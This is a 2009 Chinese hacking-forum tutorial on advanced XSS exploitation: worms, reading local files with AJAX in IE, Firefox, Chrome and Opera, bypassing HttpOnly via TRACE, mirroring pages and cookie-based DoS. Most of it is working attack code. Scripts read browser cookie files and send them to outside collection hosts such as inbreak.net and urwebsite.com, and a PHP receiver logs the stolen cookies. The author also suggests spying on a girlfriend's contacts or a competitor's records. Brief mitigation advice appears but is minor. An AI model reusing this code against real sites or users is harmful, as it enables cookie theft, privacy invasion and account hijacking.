XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 |; h3 u* D5 C% r( m- _* u1 O本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
- R% u0 m' `6 I7 R. dBy racle@tian6.com   
' q% q4 _7 F1 n* Uhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

; a& g% ?) a' [
! F* M. U# \, W" X+ a6 D% y8 B
0 T( p+ o7 i' X+ u; w-------------------------------------------前言---------------------------------------------------------

- O* A5 y$ g7 z& ~1 {
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

( ?, l2 u1 s9 V6 }% b
) B, p" {, _8 O4 X  @: x: p' j如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
, k$ R5 {+ g( M! I$ l( yhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
3 \- v% T! _7 _! s1 }/ u$ x7 y7 `http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
" u( b' d/ [8 @; k2 zhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

# ~2 X, p  P: N8 h


: A; p' R1 f  K3 Z如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

+ }. r1 q2 ^* a' X2 l希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

% U: E) U4 B/ D! d0 Y8 N/ u如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

8 [5 f6 G! I; |% D# t: N  uBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
% v* }% Z& V3 Q2 I$ T5 i
QQ ZONE,校内网XSS     感染过万QQ ZONE.

0 E; I8 r. n8 i6 xOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

- t) L% [" @. u5 s; u1 m3 Q..........
, V. `. l2 e1 ?" e2 D( m复制代码------------------------------------------介绍-------------------------------------------------------------
* s5 O8 m- \3 n! z) H
9 g6 L6 q1 A# _) w什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
  a2 c* l, {3 F( Y0 t% c- F
' w( Z" n; X( ~0 k' ?7 o  K# R& r& }
3 J$ G7 m+ ]9 p) H, M* e
0 q# A* K9 ^) Y- [% j! B4 U8 s跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

% o* d! L$ H# p
6 b6 d7 q1 p2 }* R" a2 |9 z
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
7 v9 a& _% v- K8 g* m
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
9 Y: i/ P" ~9 l- z  [' g
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
3 N; k# h9 R- i' `5 e8 g" y: h
7 X+ _3 F$ I* b9 k. z. {" N* ~1 G4        XSS漏洞在输出和输入两个方面怎么才能避免.
" c" u2 Z1 N# M# ], I) d7 ]4 b
2 I! X1 C+ s0 X+ N0 X" T
# g9 [: @$ F/ j5 h
------------------------------------------研究正题----------------------------------------------------------
9 Q+ i3 x) t: E7 u* P
$ j* Q# m, W/ [0 I% V8 R) S
$ y$ k6 e# {8 L
4 k/ x8 \* Y( y1 ^1 Y0 C: r" G3 L通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
0 H7 ^0 ^& a  U1 p5 x6 W1 o1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



7 |! k2 N4 O! y% Z* h2 a/ n6 E# v

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
  @/ K2 a4 M* e7 Z4 l" U
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

9 x) E/ J. M! J5 P! M. h

2 y4 s, m- i, W' p. }3 `    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

# ]$ C1 v" y( i; s, L

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
6 c) m- y. G% T2 W7 `1 \% g6 s

0 c0 u6 b& P2 C, Y4 B, Z
% ?! v6 N( M3 ]$ O3 |, m4 N' ?    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

. m( e& g1 G5 \+ t: |' b# Z1 ?    function $(x){return document.getElementById(x)}

5 k5 X. i. x8 Y6 z4 B

* V4 r1 v: b, _" h3 {' j+ b/ Q, E- z& i1 S    function ajax_obj(){
- W+ N4 p* U! U5 R5 h
    var request = false;
2 D5 f  J( z6 f- F
2 q& w2 Q2 h' [# `) _1 ?) m: L) y8 H    if(window.XMLHttpRequest) {

3 g$ ]5 s) A6 `9 |    request = new XMLHttpRequest();
9 c9 ]" ~4 z+ }! G: T
    } else if(window.ActiveXObject) {
1 D  H+ t5 R6 _9 K- P
1 s2 A* f& h9 w9 `5 \1 e9 b    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


4 x: E3 ]$ \* N& v8 y
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% s6 P0 x( J1 W
    for(var i=0; i<versions.length; i++) {
- ^  i* t) j1 r3 [) E! [& c# c
5 x; m- q/ Q7 e9 }* \2 R    try {
* v* w$ B' J3 F" |, p- l
    request = new ActiveXObject(versions);

# |2 J0 m) U# {& K: a' x( Y& e    } catch(e) {}

4 f* O& u4 e3 Z; W& ]    }
& P% w0 U8 R/ [( A0 P% q- M5 ^
    }
# T  P7 Y! p% K, c' a& u; m
    return request;

2 D2 b2 D9 S# q    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

& `% h+ s/ X1 D: |    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; T) r8 Z, Z# e) K/ D6 L& O9 j
5 @% E! F0 n( r/ i( l    _x.send(argv);

% F! x, e, B. t' _, F    return _x.responseText;
4 B5 c8 o; n# t: L- N; Z0 [
    }
' v9 `$ E& B' [* n# n" f6 i4 Q  `8 u
% H9 _: I# ~  N! P3 ^0 k- J
7 V$ K* P5 J! f  P3 L6 q
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

5 K  b5 E7 A: d$ q    alert(txt);


) n7 n9 b/ W1 C7 T
    </script>
) b; r( v" D* @# X; h复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
! U3 i' t- h$ e6 B( [# I
5 A! N) h4 v+ ]) ]: z    function $(x){return document.getElementById(x)}
1 R6 X- F' ^8 x$ `% @  P

5 j! n1 d/ W, d/ X% Z
    function ajax_obj(){
1 l( o3 G6 ^9 o0 e, B
    var request = false;
7 T. w0 B9 V' @) q
2 \7 [5 ~, i9 V% Q9 F; A    if(window.XMLHttpRequest) {

6 }; X# e: C% I    request = new XMLHttpRequest();
$ [4 r1 q0 U5 K: o5 w: Q
  Q+ S8 a9 W& E3 M# B2 g# [5 J! c5 ?    } else if(window.ActiveXObject) {

, h2 _0 C9 c) {/ Z  @: `: D    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
5 ~4 f5 R9 z) q  d


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

; \* R/ z4 {) _' @0 W1 |3 l    try {
3 F  c+ i7 |& T* E# h& G/ J+ @
    request = new ActiveXObject(versions);

    } catch(e) {}
' W5 T7 I4 R- t, h! K
% x8 L/ G* A3 g  h4 ]    }

$ l, }3 Q0 h3 H/ q  U; [6 G5 n' ]    }
7 B' I7 ~3 w3 Y) B6 b4 H
& e7 {, f; Y4 r; @    return request;
1 @, W! D" y$ ]1 k
4 f5 B: y* f2 v" b    }
( _+ p; u4 G) P8 _, @1 ]
+ N. S& _0 x$ _' e- W% i! X    var _x = ajax_obj();
& ?. j! G1 [# Q
0 h6 f6 `( {. {3 E% d  G& j7 _    function _7or3(_m,action,argv){

$ q  U4 I4 y4 @/ l# M' t1 E    _x.open(_m,action,false);
  C$ O2 s2 W' _0 P1 O5 a
9 F) D& M% n, u& G    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
3 ~. E0 N& e1 K. R7 y% i; E# B
    _x.send(argv);
8 I8 c- q) L# ?+ Z" v! C  X2 G% r8 n
    return _x.responseText;

, M* ~+ b. i% L) b$ J2 Q    }

' a& G8 q$ y9 ~, [
$ d" V6 D$ d2 q8 \. O
- \% d" v# l( J1 y# K9 ?    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
* I# |# }5 b% v& ?+ p
& D# |* Y; t2 L) k

% K5 m2 e8 k* y# q$ e$ d    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

1 J5 |8 I( w, G

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 s. p/ N& P+ f( e* M
* ]5 v. ]2 z" z# a. G
: v% ?; ~$ P1 m' l
! S0 R8 H1 U- t: [- C9 F<?   

/*  
. D6 `9 h4 C% O
" m5 t. s  e8 N, K* u/ q4 X  m     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
: Z" s' c, l; Z/ D
     www.inbreak.net   
5 H3 n2 `1 `% J0 K( i3 y
0 J7 O! n* b3 C, N- h) D$ j/ g, d3 ^     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
+ ~9 `5 ]' S6 c& a
*/  

* i9 X; L; t2 zheader("Content-Disposition: attachment;filename=kxlzx.htm");   

! \3 ^! p3 A; g% W7 ?, I# theader("Content-type: application/kxlzx");   
& c9 E+ U  h/ o1 _6 K
8 ~+ @9 \, s$ G: Q4 V/*  

+ j6 a" @4 o; E9 q9 w2 B. p. K" x/ ^7 F# c     set header, so just download html file,and open it at local.  
0 N: F7 C6 I6 I" T9 s$ C
! Z6 X+ C% ]+ E  _' T! i  r*/  

8 |. o/ u5 _" k: z?>   

0 m0 _8 W( q8 \/ X7 G0 W<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
6 A; D5 c  E: W0 d# V
* M$ K1 ]+ k+ H- ~: g, J( V& K" m     <input id="input" name="cookie" value="" type="hidden">   
( I/ }6 a( `6 ~! _* a
</form>   

<script>   

function doMyAjax(user)   
* h8 v4 }' |0 j5 h
8 y& m/ z. [, N3 _{   
' s8 [8 I1 Q1 k
2 e  m, l& @6 @$ u0 ^6 X, q' _var time = Math.random();   
7 N! Q9 G0 Z$ V' W& H
+ H) j% ^5 |2 o; N/ P1 {/*  

1 o2 g7 `' R) q4 F/ othe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
. h+ R6 _6 s6 u2 r9 {
# U7 _3 E9 R& z( d# O*/  
( t, W. v" C- z, X% S7 b( i% W
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
* G* E+ y3 B: y  d# ^
0 w+ D6 a! ~2 ?; S5 [  r   

* Q" A4 E+ a" g$ M- W3 DstartRequest(strPer);   


/ o/ i$ o: T$ _* K; V( h
- e1 Q5 w+ ~. R7 l6 w- c}   

   

function Enshellcode(txt)   

% @/ t7 ]$ K" j/ `0 }{   

+ b! N$ g' d9 v& Q4 h6 |var url=new String(txt);   
" I2 }/ ~' ]7 N' J
var i=0,l=0,k=0,curl="";   

l= url.length;   

) D5 d. _5 L; _% n, Afor(;i<l;i++){   
8 y8 ]3 Y' W* G* W) _
+ N7 r( i9 b- Z; Z  M# q, \k=url.charCodeAt(i);   
* V& G6 d; J) i4 f
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
, ]! b0 [; S+ C6 ~
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
2 q, a- @1 f( n8 u  ?  K
return curl;   

}   

& z9 h0 {6 a/ z; B   

4 a  a* ~& d9 ~, L   

) i: i* o! E- r: }& \. x, W3 s. Gvar xmlHttp;   
0 _! i) u. e8 A% F+ |0 B
" R" c* ]8 v/ {* ^function createXMLHttp(){   
0 a" }8 k# e; h  U! U6 F( O
9 H$ S# c, U7 [5 b0 Y, B     if(window.XMLHttpRequest){   

5 E* P, K. N8 _% h* R9 BxmlHttp = new XMLHttpRequest();           

     }   
! E& D; l! X4 d7 M/ i
     else if(window.ActiveXObject){   

% m# C; i8 G! l% s  E6 txmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

9 u/ [3 j0 M5 W+ b5 G     }   

  |% B5 B0 Q/ p}   

   
1 ~# e& a' C+ O2 r
function startRequest(doUrl){   
! {; L! ], v6 T$ z( `/ Z+ O
   
0 n+ P2 ^, M& U# u/ r2 P- s/ H
! u  h. u* ^. N( }     createXMLHttp();   
9 q& C2 l5 h3 o( B& _; `9 x


     xmlHttp.onreadystatechange = handleStateChange;   
5 f8 |+ v' H: j5 z: [: c
. n% S6 x* i7 |' e: n. I
5 V' B  a* o" A/ X
     xmlHttp.open("GET", doUrl, true);   

: J; C9 m# a6 I+ U; q' W

! Z  \9 S+ t2 W/ R) {4 y     xmlHttp.send(null);   





}   
& N6 G) R& l1 \" |
4 S# Z, _# x/ ~0 e- P   

function handleStateChange(){   
" U6 o* W) d3 n9 C- x4 R
: p- ]! \; u. r7 v" u  g     if (xmlHttp.readyState == 4 ){   
/ L7 x/ _! e( X" r& N  D6 {
     var strResponse = "";   

, [$ f, M3 ?  l. c' F# ]     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

, B1 y5 P4 y; H: b        

+ \  i. j7 `' v     }   

}   

   
5 b6 @; G# q  }5 J
   

+ l! N0 z7 z- b- b$ L) Tfunction framekxlzxPost(text)   

( O8 d& D- e* X& Z{   
2 V! t% {8 c9 X/ |* h  p/ P4 x
5 ?# z+ n1 y8 Q3 K7 t     document.getElementById("input").value = Enshellcode(text);   

8 b' R- Z# z4 V6 L     document.getElementById("form").submit();   
' x- D  f  r% D! `3 ?( r% O4 m
}   
0 P" E: u2 o' j- l8 f
  X* Q( k" x  r6 w+ k- G$ ?   
2 k) Q% K" C9 r) _& J/ v
doMyAjax("administrator");   

   

: q; n1 D6 D! I4 N$ f3 `" J</script>
; j7 b+ f; l3 a: ]: e9 S7 f复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
' A, g1 h8 F5 y" l
var xmlHttp;  
- n% b5 K* r" e, X6 D2 U: |
$ I$ S# z% i: L# A5 f/ S$ O: n5 p, bfunction createXMLHttp(){  

: s- `0 Z) e3 v* e0 m     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

- A5 h! N; H. U  B  x     }  
2 a, Z. N( A. w/ w! b9 r% {
% S2 n" [3 q7 ?# q6 A' K7 d     else if(window.ActiveXObject){  
" I/ g# H! g, s$ @# G' U* L2 @
+ H' l% p, Z. a& c/ t         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
6 ]! F. V6 o; \8 D8 T
9 X" X+ \& z, R. K0 m( w}  

   
& [9 I+ V- h! [& `4 v
function startRequest(doUrl){  
" V6 p4 M" {4 ?+ u( D( F
0 L5 v( }& x& {4 {; ~           
5 T$ l5 ?) [5 e& f- q$ ?
     createXMLHttp();  
( @) V8 u3 r3 O: K( v) k2 C0 K
0 c  g- _9 D8 j+ l      
/ j% N3 V7 c5 ?. J
     xmlHttp.onreadystatechange = handleStateChange;  

      

* d8 f' j2 o: q- g; v  x1 ]% H+ ^     xmlHttp.open("GET", doUrl, true);  

7 G: y1 F% D" r5 ^6 t/ c  z      

. f9 }; b2 b: o5 C9 p; c     xmlHttp.send(null);  
" O0 w& Z* @, k  ^. v7 L! H: U
9 H) a; }0 A! y' h8 V; I      
1 j* q$ }& u6 O- R; h9 H
! B7 J! x; n3 ^, b      

}   

   

function handleStateChange(){  
, `+ H7 B. ^- N4 Z" q7 R
     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

. Y4 b8 c$ ]8 q' {( Y' v' K               
1 t+ P* r' p8 q+ k3 C1 f
+ n- _8 ~- P6 U1 N# y     }  
5 A( C' W7 N7 _& D
; T( g. T( o/ v; M& n$ Z  Z' X8 N" |}  

; u" l" w2 n1 Q  J$ P, g" x) G   
% [* O& U2 G2 t8 [1 O
function doMyAjax(user,file)  
0 X1 G: @8 j9 B7 ^3 j3 m
' C1 E: F0 S9 \( \  ~{  

5 C5 l( W% R  n. {1 s: X. j4 h         var time = Math.random();  

           

% l1 p: \8 c) M6 o7 [& x) j         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
: z1 u: m5 Y7 J. b
, \( u1 n' @  o1 p( f4 x1 K           

         startRequest(strPer);  

  P: N( w: o/ J  x8 O  S: x5 g) ~2 Z8 B      

0 {( A5 i, r" k0 K}  

   
" E& ]5 P/ u, r$ d2 `
function framekxlzxPost(text)  
5 z- [$ [3 q4 y
{  

( M9 g0 g. w/ L5 `& M, `     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

$ _9 i. z. ~% Q# u}  
4 {: }$ o* G7 B
9 A! C1 ]& K8 A/ f6 t' e   
) q* b* w1 Y' R! T1 l1 }( p
# p/ m# ?# L% ^0 ?6 E8 adoMyAjax('administrator','administrator@alibaba[1].txt');  

   
7 k3 D+ s" L$ r- K7 ^( `7 l
6 r( C0 ~4 w2 ]- I% V# d' C</script>



; [3 J& r6 I  S. C  J8 H+ t

a.php

8 Q+ Q: Z. z7 z8 F9 F, V1 D$ V3 u
. ]: m! W! R% W0 e
<?php      
% d( j5 R( I( i5 m/ e9 t* I
7 F; j8 {3 n& V% X, S6 K8 g2 Q   

# k( Y% {* n( F; N  Z$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

. ^# H# v8 v7 g7 q3 E' A6 Q4 B  

: F, g! j5 B+ ?1 j7 c* ?$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

+ m- g5 w$ C3 w/ [3 p9 H0 z7 m: rfwrite($fp,$_GET["cookie"]);      
/ G* W9 r8 V% B8 l& D
6 Y7 J' N% y, Gfclose($fp);   
# d! S4 \) b1 q4 T* f& V
5 \( Q. j( \0 m9 X9 l+ b+ H?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
, Y$ {, |$ V& Q, x0 a
' S" i7 Z: F+ W/ E' I: D- Q- j或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
$ {% d! q4 F, M
! L8 S- k1 u+ p! `- p代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
' ?0 d7 l$ c0 _, H
! K( @# o" G9 o/ i3 U/ d% {: f//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
$ t5 V# F9 c9 ?
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
8 I- P1 E1 g, i" ~, n) B
var image = new Image();
. \3 y" s8 h- e0 f' d7 O: k1 G& [
7 u* _7 f! x4 h& Nimage.style.width = 0;

" _7 Y1 D1 Q1 S: ?* ]% ]) W1 d; Vimage.style.height = 0;
3 N, S' r. k5 G  k$ M- J
image.src = s;
7 l2 @6 o8 c7 Y0 ?
}

# A1 ~6 ~% |6 A1 Y8 FgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
2 q/ I# V2 ]  |0 ]这里引用大风的一段简单代码:<script language="javascript">
( n7 B# y% E# A. |  i
var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
; X: _+ a9 [( D) n- k
% f3 p2 F" _& z  Jwhile (str.length < 4000){
. N& S8 U) ~( f5 G7 r% d6 J
1 H" ~2 X/ y1 s# w4 g- k9 m    str += metastr;

' p& q7 h, ~) g- Q) n4 a}

2 t( [0 x& ?2 p( K# x- T
% u# k& K3 P& O* o3 f
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ v2 ~" u- |( b复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
9 S. Q( O# ?: q  y1 Tserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
+ h0 Q! u9 `& H7 J7 P! j  {- e9 G
/ f/ W6 G0 W# n) ~" ?假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
5 t% O, B: L+ `# P5 {7 H

0 X& p0 \! u1 y) B9 F% Z& C3 q2 F3 a

+ m) I6 Q* t5 j

(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
0 D6 i) g" r$ L- V+ r, V以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

4 P- T% j4 a  b, Z$ @) J<!--

5 y4 {, \7 S4 r9 r' m$ _3 Nfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

3 Z( \! I: J% C! c2 Y7 h}





9 B: \. R" _/ a5 @function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
3 n8 W9 j  |3 B8 d
% @" s0 w* E8 a, p' U( q, galert(document.cookie);}

$ u% z4 p  K5 L

//-->
5 x5 \1 a6 I& w* U
</script>


6 N8 f0 T+ q/ d* \
) s+ h7 z; e( k/ `) f) L<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

4 _! X9 y0 w% y5 S+ a& N<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
- l0 Z% \, U! x0 X5 k; e复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
2 e3 u: E; ~1 I4 R6 I


var request = false;

0 [1 D8 f' [& ~! C' z5 C2 i        if(window.XMLHttpRequest) {
! Y+ M: v$ [0 d7 @  b5 e5 p2 M' Y( @
! q6 D- R- l+ t+ O            request = new XMLHttpRequest();
* A, d9 c# x- _
6 J0 ~9 m* `. l, p* g            if(request.overrideMimeType) {

' y& M) ~0 R: s, Z) P7 f* ]                request.overrideMimeType('text/xml');

            }

2 O& B( |/ p" ]' R4 E        } else if(window.ActiveXObject) {
" q* N% h: J8 K, L7 _) m
2 d5 _2 z; K$ T4 ]( U4 m            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: o7 W! k9 `6 ?, |
            for(var i=0; i<versions.length; i++) {
' r4 r: s, {( R- {- B' N. k
                try {

/ p: u& [: _% T- p1 p) M                    request = new ActiveXObject(versions);

9 h: e; v" U5 M, m3 ~; |                } catch(e) {}

            }
" C: R, S4 c) o, x1 B
$ V" Z- K: I1 Y- {        }

xmlHttp=request;
* U4 {" C( |! \* Y; r7 L
- D9 L/ Z& _/ i1 A$ }xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
2 x7 h/ R( ]/ [1 y# s9 P8 L
xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
1 f4 H% x4 F: J
" U5 O1 v# \' f. v  @' {4 @$ U</script>
: e8 u" I1 N- P! O9 c复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
* U" e+ A' i! `
8 G9 f& F4 z3 j+ S/ oXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
! V" j6 n8 z7 A) C
1 S' z& \4 H4 b4 T& IXmlHttp.send(null);
: G/ c' ^/ Q$ Q# ?, N3 L6 I/ O' j
var resource=xmlHttp.responseText
* Z2 Y! w; ]4 t0 j; d
resource.search(/cookies/);

! H6 H( E/ ?/ L, s" m7 ?......................
0 t7 K' `2 i6 M1 C+ G
1 R4 q% F. S1 U1 }# m</script>

2 i, W% f5 j7 @/ Y


: @/ Z0 L5 Q4 P9 X
. D9 X& t* [3 J  H9 }如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

8 |% A0 P8 f# p  `3 T' \1 ~& TRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

9 E. m! l1 j% s3 T0 p: jRewriteRule .* - [F]

" z" Q, V0 R1 L1 [1 `
% j/ s/ D8 J- S7 @
) D5 p8 t! y- ISquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
- P) W3 M" F( y( F+ e8 A
/ X/ E. L- j3 H1 y: n, yacl TRACE method TRACE

...
- {0 ?* Z5 u; ]" R7 `
http_access deny TRACE
4 c& t/ t2 y" _% b复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

